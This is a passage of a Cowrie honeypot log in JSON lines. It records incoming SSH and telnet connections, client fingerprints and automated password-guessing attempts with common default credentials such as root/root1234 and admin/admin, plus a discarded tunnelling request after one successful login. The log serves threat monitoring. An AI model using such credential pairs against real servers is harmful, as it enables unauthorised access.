{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:52.389919Z","src_ip":"103.75.199.4","session":"b14742d565d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":56768,"dst_ip":"159.203.135.109","dst_port":22,"session":"65610fec4c4e","protocol":"ssh","message":"New connection: 45.153.34.114:56768 (159.203.135.109:22) [session: 65610fec4c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:57.517941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:57.523866Z","src_ip":"45.153.34.114","session":"65610fec4c4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:57.610188Z","src_ip":"45.153.34.114","session":"65610fec4c4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:57.864822Z","src_ip":"45.153.34.114","session":"65610fec4c4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:58.965594Z","src_ip":"45.153.34.114","session":"65610fec4c4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":43064,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9c7c827423f","protocol":"ssh","message":"New connection: 87.251.64.176:43064 (10.17.0.5:22) [session: d9c7c827423f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:59.947864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:59.953515Z","src_ip":"87.251.64.176","session":"d9c7c827423f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:00.054310Z","src_ip":"87.251.64.176","session":"d9c7c827423f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.584030628204346,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:00.263653Z","src_ip":"104.155.98.147","session":"3d18b9c5f82d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.747644424438477,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:00.271234Z","src_ip":"104.155.98.147","session":"d863dfe6b2e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.06411123275757,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:00.275132Z","src_ip":"104.155.98.147","session":"ee9cc4885e0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.238853931427002,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:00.280571Z","src_ip":"104.155.98.147","session":"1ed57998ee9c","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:00.350550Z","src_ip":"87.251.64.176","session":"d9c7c827423f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:00.454136Z","session":"d9c7c827423f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:00.555531Z","src_ip":"87.251.64.176","session":"d9c7c827423f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:00.657517Z","src_ip":"87.251.64.176","session":"d9c7c827423f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38626,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6deb1c23aea","protocol":"ssh","message":"New connection: 45.153.34.114:38626 (159.203.135.109:22) [session: a6deb1c23aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:05.557551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:05.561768Z","src_ip":"45.153.34.114","session":"a6deb1c23aea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:05.652182Z","src_ip":"45.153.34.114","session":"a6deb1c23aea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop@1234","message":"login attempt [hadoop/hadoop@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:05.919193Z","src_ip":"45.153.34.114","session":"a6deb1c23aea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:07.008766Z","src_ip":"45.153.34.114","session":"a6deb1c23aea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":37542,"dst_ip":"159.203.135.109","dst_port":22,"session":"84e28c2cfd90","protocol":"ssh","message":"New connection: 103.75.199.4:37542 (159.203.135.109:22) [session: 84e28c2cfd90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:12.637782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:12.642564Z","src_ip":"103.75.199.4","session":"84e28c2cfd90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:12.735402Z","src_ip":"103.75.199.4","session":"84e28c2cfd90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:13.012338Z","src_ip":"103.75.199.4","session":"84e28c2cfd90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58280,"dst_ip":"159.203.135.109","dst_port":22,"session":"4aecc1cffa9d","protocol":"ssh","message":"New connection: 45.153.34.114:58280 (159.203.135.109:22) [session: 4aecc1cffa9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:13.421069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:13.426059Z","src_ip":"45.153.34.114","session":"4aecc1cffa9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:13.514035Z","src_ip":"45.153.34.114","session":"4aecc1cffa9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:13.765520Z","src_ip":"45.153.34.114","session":"4aecc1cffa9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:14.106195Z","src_ip":"103.75.199.4","session":"84e28c2cfd90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:14.992514Z","src_ip":"45.153.34.114","session":"4aecc1cffa9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38776,"dst_ip":"159.203.135.109","dst_port":22,"session":"473c91252935","protocol":"ssh","message":"New connection: 45.153.34.114:38776 (159.203.135.109:22) [session: 473c91252935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:21.758070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:21.763377Z","src_ip":"45.153.34.114","session":"473c91252935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:21.847302Z","src_ip":"45.153.34.114","session":"473c91252935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:22.110190Z","src_ip":"45.153.34.114","session":"473c91252935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:23.201974Z","src_ip":"45.153.34.114","session":"473c91252935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47516,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc0a4337ed69","protocol":"ssh","message":"New connection: 45.153.34.114:47516 (159.203.135.109:22) [session: dc0a4337ed69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:30.095341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:30.105076Z","src_ip":"45.153.34.114","session":"dc0a4337ed69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:30.191684Z","src_ip":"45.153.34.114","session":"dc0a4337ed69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz@Wsx","message":"login attempt [root/!Qaz@Wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:30.456763Z","src_ip":"45.153.34.114","session":"dc0a4337ed69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:31.544755Z","src_ip":"45.153.34.114","session":"dc0a4337ed69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":56298,"dst_ip":"159.203.135.109","dst_port":22,"session":"18dd5f96236b","protocol":"ssh","message":"New connection: 103.75.199.4:56298 (159.203.135.109:22) [session: 18dd5f96236b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:34.342006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:34.346498Z","src_ip":"103.75.199.4","session":"18dd5f96236b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.